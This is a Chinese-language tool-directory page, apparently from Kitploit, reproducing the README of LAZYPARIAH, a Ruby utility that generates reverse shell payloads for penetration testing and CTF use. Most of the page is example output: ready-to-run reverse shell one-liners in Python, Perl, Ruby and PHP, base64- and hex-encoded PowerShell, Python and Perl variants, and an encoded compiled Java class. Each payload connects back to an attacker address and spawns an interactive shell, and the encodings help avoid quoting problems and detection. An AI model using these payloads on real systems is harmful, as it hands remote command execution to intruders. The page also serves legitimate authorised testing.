Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
LAZYPARIAH — 一个用于即时生成反向Shell有效载荷的工具。 | Kitploit
工具/GitHubGitHub/octetsplicer/lazypariah
Payload生成漏洞利用CTF渗透测试命令与控制红队Shellcode 生成Payload 开发Archived
GitHuboctetsplicer/lazypariah

LAZYPARIAH

一个用于即时生成反向Shell有效载荷的工具。

查看仓库
165个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

LAZYPARIAH

一个低依赖的命令行工具,用于动态生成反向 shell 载荷。

Alt text

描述

LAZYPARIAH 是一个简单且易于安装的命令行工具,完全用 Ruby 编写,可用于渗透测试和夺旗(CTF)比赛,以动态生成各种反向 shell 载荷。

LAZYPARIAH 支持的反向 shell 载荷包括(但不限于):

  • C 二进制载荷(动态编译):c_binary
  • Ruby 载荷:ruby、ruby_b64、ruby_hex、ruby_c
  • Powershell 载荷:powershell_c、powershell_b64
  • Base64 编码的 Python 载荷:python_b64
  • Rust 二进制载荷(动态编译):rust_binary
  • 包含通过 system() 函数调用 base64 编码的 Python 载荷的 PHP 脚本:php_system_python_b64
  • Java 类(动态编译):java_class
  • Perl 载荷:perl、perl_b64、perl_hex、perl_c
  • 简单 PHP 载荷(针对特定文件描述符):php_fd、php_fd_c、php_fd_tags

警告

此工具仅限合格的渗透测试人员、安全研究人员和红队专业人员在授权的情况下使用。在下载、安装或使用此工具之前,请确保您了解所在司法管辖区的相关法律。本工具的作者不支持、鼓励或纵容将此工具用于非法或未经授权的目的。

依赖

  • Ruby >= 2.7.1(LAZYPARIAH 未在早期 Ruby 版本上测试过)
  • OpenJDK(可选:仅 java_class 载荷需要。)
  • GCC(可选:仅 c_binary 载荷需要。)
  • Rust(可选:仅 rust_binary 载荷需要。)

安装

LAZYPARIAH 可以通过 RubyGems 安装程序安装在大多数 GNU/Linux 和 BSD 系统上,如下所示:

root@kitploit:~
gem install lazypariah

使用

root@kitploit:~
用法:	lazypariah [选项] <载荷类型> <攻击者主机> <攻击者端口>
注意:	<攻击者主机> 可以是 IPv4 地址、IPv6 地址或主机名。

示例:	lazypariah -u python_b64 10.10.14.4 1555
示例:	lazypariah python_c malicious.local 1337

有效载荷类型:
    awk
    bash_tcp
    c_binary
    java_class
    nc
    nc_openbsd
    nc_pipe
    nodejs
    nodejs_b64
    nodejs_c
    nodejs_hex
    perl
    perl_b64
    perl_c
    perl_hex
    php_fd
    php_fd_c
    php_fd_tags
    php_system_python_b64
    php_system_python_hex
    php_system_python_ipv6_b64
    php_system_python_ipv6_hex
    powershell_b64
    powershell_c
    python
    python_b64
    python_c
    python_hex
    python_ipv6
    python_ipv6_b64
    python_ipv6_c
    python_ipv6_hex
    ruby
    ruby_b64
    ruby_c
    ruby_hex
    rust_binary
    socat

有效选项:
    -h, --help                       显示帮助文本并退出。
    -l, --license                    显示许可证信息并退出。
    -u, --url                        对载荷进行 URL 编码。
    -v, --version                    显示版本信息并退出。
    -D, --fd INTEGER                 指定目标用于 TCP 的文件描述符。某些载荷需要。
    -P, --pv INTEGER                 指定载荷的 Python 版本。必须为 2 或 3。默认不指定版本。
    -N, --no-new-line                不在载荷末尾附加换行符。
        --b64                        对 c_binary、rust_binary 或 java_class 载荷进行 base64 编码。
        --hex                        对 c_binary、rust_binary 或 java_class 载荷进行十六进制编码。
        --gzip                       使用 zlib 压缩 c_binary、rust_binary 或 java_class 载荷。
        --gzip_b64                   使用 zlib 压缩 c_binary、rust_binary 或 java_class 载荷,并对结果进行 base64 编码。
        --gzip_hex                   使用 zlib 压缩 c_binary、rust_binary 或 java_class 载荷,并对结果进行十六进制编码。

更多说明与示例

上面列出的载荷基本上是按系统命名的。

以 _c 结尾的载荷旨在从 shell 会话中执行。这些载荷直接使用相关解释器(例如 python3 -c 或 ruby -e)执行代码。

例如,命令 lazypariah python_c 10.10.14.4 1337 应生成以下输出:

root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

而命令 lazypariah python 10.10.14.4 1337 则应直接生成一段 Python 代码块,可以放在 .py 文件中:

root@kitploit:~
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

一般来说,选择以 _b64 结尾的载荷会生成一个命令,它类似于以 _c 结尾的载荷,打算从 shell 会话中运行,但结构不同。这些命令实质上是将 base64 编码的代码块通过管道传递给 base64 -d,然后再传递给相关解释器(如 python3、python2 或 ruby)。

例如,命令 lazypariah python_b64 10.10.14.4 1337 应生成以下输出:

root@kitploit:~
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python

powershell_b64 例外,它使用 Powershell 内置的 base64 解码器。例如,命令 lazypariah powershell_b64 10.10.14.4 1337 应返回以下内容:

root@kitploit:~
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

(注意:上述载荷的长度是因为 Powershell 使用 UTF-16LE 编码,其中单个字符对应两个字节。)

这些类型的载荷在某些情况下很有用,因为它们不包含任何单引号或双引号。

类似地,选择以 _hex 结尾的载荷会生成一个命令,它将十六进制编码的代码块通过管道传递给 xxd -p -r -,然后再传递给相关解释器。例如,lazypariah perl_hex 10.10.14.4 1337 应生成以下输出:

root@kitploit:~
echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl

编译的载荷(c_binary、java_class 和 rust_binary)具有可选的命令行参数,用于 zlib 压缩(--gzip)、base64 编码(--b64)和十六进制编码(--hex)。

例如,命令 lazypariah --b64 java_class 10.10.14.4 1337 应生成以下输出:

root@kitploit:~
yv66vgAAADcAXwoAHQApBwAqBwArCAAsCgACAC0KAAIALgoAAgAvBwAwCAAxCgAIADIKACMAMwoAIwA0CgAIADMKACMANQoACAA1CgAIADYKACQANwoAJAA4CgAlADkKACUAOgUAAAAAAAAAMgoAOwA8CgAjAD0HAD4KACMAPwoACABABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAEMHAEQHAEUBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAB3JzLmphdmEMAB4AHwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoDAAeAEYMAEcASAwASQBKAQAPamF2YS9uZXQvU29ja2V0AQAKMTAuMTAuMTQuNAwAHgBLDABMAE0MAE4ATQwATwBQDABRAFIMAFMAVAwAVQBUDABWAFcMAFgAHwcAWQwAWgBbDABcAFQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABdAB8MAF4AHwEAAnJzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGlzQ2xvc2VkAQADKClaAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABXdyaXRlAQAEKEkpVgEABWZsdXNoAQAQamF2YS9sYW5nL1RocmVhZAEABXNsZWVwAQAEKEopVgEACWV4aXRWYWx1ZQEAB2Rlc3Ryb3kBAAVjbG9zZQAhABwAHQAAAAAAAQABAB4AHwACACAAAAEAAAYACQAAALAqtwABuwACWQS9AANZAxIEU7cABQS2AAa2AAdMuwAIWRIJEQU5twAKTSu2AAtOK7YADDoELLYADToFK7YADjoGLLYADzoHLLYAEJoAXS22ABGeAA8ZBy22ABK2ABOn//AZBLYAEZ4AEBkHGQS2ABK2ABOn/+4ZBbYAEZ4AEBkGGQW2ABK2ABOn/+4ZB7YAFBkGtgAUFAAVuAAXK7YAFGenAAg6CKf/oiu2ABostgAbsQABAJoAnwCiABkAAgAhAAAABgABAAAAAQAiAAAAKgAH/wBGAAgHABwHACMHAAgHACQHACQHACQHACUHACUAAAYSFBRXBwAZBAAmAAAABAABABkAAQAnAAAAAgAo

还可以对上述编译载荷之一进行 zlib 压缩,然后使用 --gzip_b64 和 --gzip_hex 命令行参数分别进行 base64 或十六进制编码。例如,命令 lazypariah --gzip_hex java_class 10.10.14.4 1337 应生成以下输出:

root@kitploit:~
1f8b08003ca25960000375535d57125114dd83335ca0511431a53433b5f00bb42c13cc4ad3c2f0a3200dcd5a03dc741419d7cc50f6577ca8b57cf1b55eb095ab7e403fa6d52fc8ce0549c91aee6cced9779f7bce9939f3fdd7976f0046f0ca8336f430f432f4b9d0ef810303024202c20c832e0c79e0c2750f3a7143c0b0704bd64d6195e096075d181170db836e8c0a8828285f141ac59808b8c3302efeef8a987b0cf719262438c7f4bc6e8f4ba809f62c4a90278d2c97e08deb793e57d84a7333a9a573c4d4266c2db339ab6d977c864986070c53123c533b19be6deb46de22276114cc0c9fd6450833add086f646537109ed125a841dce69f9b5f0826964b8654d14f45c969b12ea4fb612b6a9e7d728389cd6f3616b5d044fab7888472a6298a1d24ada3cb7c30923b3c96d4a3a3418126b38342cd48f55c431ab624ec03c16543cc153150924553c13b0882515cfd1ce9052b18c15152f9094d07852c49f9654aca25dc54b51bfc3b4aa2a9d4f6ff00ca56f38d357e52cdd08c7f2db059b7ae2da96047f859d2fd8a7e8f3c195f8df0f202a5e46a3c9b3ba4949a64cd3302bf2b6e0724ffc7fcf322a41b16ccda4ba9a82ff904545bab3d962225ddd1ab7abea6dae9c50dd48b42cad2aca4b4475572da7824fef50b44bb7267386c5b3a5a95b96e0269d9e2b0f1a31319a4392d2b6f2d6d46d22e560a942e575ae60ad57bd85e4fab1d2ca71be2d943342e9e63bbabda8e50a620eb3dcb24de31d8932222d3ad04adf9db824fad170d2d776593870c24decc7de03488770a4e4afa849d5f8e4c40114b90867112c7e0857cae76e50460fe099ed2be2dc1c811a91fb8ba88d2864d7459c647b238cb07e17ab034534bc8737c0c8f015d1b87ff4332097b8fa00135699fc11508e49a7b02a242bc21fa0c47e3f9a3ea399ce6f59da872be2da3fda23e70225b9f8894adfc507ec21409d7440f42195babb42d80b768469b8185a193a9930ba2aab9b16a97d7eff124340c655d2cb1417a0fb1ad90e047f03b0d0dc15ad040000

某些载荷需要用户指定目标用于 TCP 连接的文件描述符。其中一个例子是 php_fd_tags,它是一个包含在 PHP 标签(<?php 和 ?>) 中的简单 PHP 载荷,针对特定文件描述符。

要指定目标文件描述符,用户必须使用命令行参数 -D INTEGER 或 --fd INTEGER。例如,要生成一个针对文件描述符 5 的 php_fd_tags 载荷,可以使用以下命令: lazypariah -D 5 php_fd_tags 10.10.14.4 1337

生成的载荷应如下所示: <?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&5 >&5 2>&5");?>

以下是一些命令及其各自输出的示例。

命令 lazypariah -P 3 -u python_b64 10.10.14.4 1337 的输出:

root@kitploit:~
echo%20aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3

命令 lazypariah -P 2 python_c 10.10.14.4 1337 的输出:

root@kitploit:~
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

命令 lazypariah -D 3 php_fd_tags 10.10.14.4 1337 的输出:

root@kitploit:~
<?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");?>

命令 lazypariah ruby 10.10.14.4 1337 的输出:

root@kitploit:~
require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end

作者

版权所有 (C) 2020-2022 Peter Bruce Funnell

许可

本程序是自由软件:您可以重新分发和/或修改它,遵守由自由软件基金会发布的 GNU 通用公共许可证的条款,无论是许可证的第 3 版,还是(您自行选择)任何更高版本。

本程序的分发旨在提供帮助,但不附带任何担保;甚至不暗示适销性或特定用途的适用性。有关更多详细信息,请参阅 GNU 通用公共许可证。

您应该已随本程序收到一份 GNU 通用公共许可证的副本。如果没有,请参见 https://www.gnu.org/licenses/。

下载工具